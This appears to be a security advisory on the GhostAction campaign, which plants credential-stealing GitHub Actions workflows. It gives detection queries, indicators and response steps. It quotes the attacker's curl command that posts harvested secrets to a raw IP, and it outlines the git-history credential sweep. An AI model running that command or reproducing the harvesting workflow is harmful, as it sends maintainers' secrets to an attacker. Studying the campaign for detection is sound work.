GhostAction Attack Escalates By Targeting GitHub Users

What it is

GhostAction is an ongoing GitHub account-takeover and CI credential-theft campaign. The attacker pushes a malicious .github/workflows/security-audit.yml (earlier variants: github_actions_security.yml, security-check.yml) to every repository the compromised account can write to. The workflow runs on push and workflow_dispatch. OpenSourceMalware's latest variant also sweeps the checkout and full git history for credential patterns. The page counts 790 validated affected repositories through Oct 9 (GitGuardian reported 772 for Aug 31 to Sep 30).

How it works

• Injection: pushed directly to the default branch with the legitimate maintainer identity as author. The uber/athenadriver commit was unsigned and had no PR. Author identity is therefore a weak signal.
• Retrigger: a timestamp comment is appended to README.md, creating another push.
• Collection: ${{ secrets.NAME }} expressions are expanded before Bash runs. The secret names are tailored per victim, and log masking does not stop transmission. The new variant uses fetch-depth: 0, grep -rEiho over the tree, and git log -p --all (capped at 200,000 lines and 300 matches). It also captures ±2 lines of context around AKIA/ASIA keys, which can expose the paired secret key.
• Exfiltration: curl -s -m 20 -X POST --data-binary "$full" "http://193.32.204.199/?c=monami". Because the body always starts with the repo name, every run sends at least a beacon.

Preconditions / Affected

• The attacker needs write access via a stolen token or account. Any repository the account can write to is exposed, including forks, dormant repos, and repos moved under an org (athenadriver was reachable because the original author kept write access).
• Oct 8 sweeps: kitao (27 repos, including kitao/pyxel) and henrywoo (318 repos, of which 279 are forks).
• Forks only matter if Actions is enabled there.
• No malicious PyPI or crates.io releases from this wave had been observed at the time of Socket's report.

What to do

Search GitHub code for the indicator:

"193.32.204.199" path:.github/workflows

Higher-confidence payload markers:

path:.github/workflows "AKIA_CTX_START" "git log -p --all"
path:security-audit.yml "?c=monami"

Per-account pivot (the same pattern works with repo:):

user:henrywoo path:.github/workflows/security-audit.yml

Confidence guide from the page: IP plus workflow path, AKIA_CTX_START plus git log -p --all, and ?c=monami plus --data-binary are very high. Commit message alone is medium (verify the file at the SHA). fetch-depth: 0 plus regexes is low–medium. The security-audit.yml filename alone is low.

Response, in order:

1. Disable Actions and preserve workflows, run logs and audit logs.
2. Revoke PATs, OAuth grants, App credentials, deploy keys and sessions for the compromised identity.
3. Remove the workflows.
4. Rotate every named Actions secret, then any matching credentials found in git history.
5. Audit and rebuild packages, releases and images produced during the window.

Removing the workflow revokes nothing.

Controls:

• Workflow approval: StepSecurity reports this was the control that actually stopped exfiltration in this wave. Require approval for new or modified workflows, plus protected branches and CODEOWNERS on .github/workflows/**.
• Egress: the collector uses a raw IP on ports 80 or 3000, so domain-only DNS controls see nothing. Use runner egress allowlists, and check historical network telemetry for the destination.
• Inbound vs outbound: the IP is also a noisy internet scanner. Only outbound runner traffic to it is evidence of exfiltration.

Block and hunt these indicators: 193.32.204.199, my-github.com and *.my-github.com (wildcard DNS, registered 2026-10-09, resolves to the collector), and the legacy 45.139.104.115, 170.39.218.2 and *.oast.fun.

Caveats

• my-github.com is linked to the collector by IP only. Operator attribution is unresolved.
• my-gitlab.com (registered 2026-09-22) and gitlab.my-gitlab.com (18.167.164.26, shared AWS) are watchlist-only with no confirmed link, and the page lists no evidence of malicious use. Block the IP only with hostname context.
• The page says forecast phishing and token-theft scenarios for these domains have not been observed.
• The meaning of c=monami is unknown. How the original GitHub credentials were stolen is not established.
• The workflow's regex uses PCRE-style groups under grep -E, which may cause missed matches.
• The workflow shows attempted collection, not proof of successful theft.
• Only the public lower bound is counted. Private or deleted repos are not covered.
• Prevalence of the newest security-audit.yml variant is unresolved because its commit message is generic.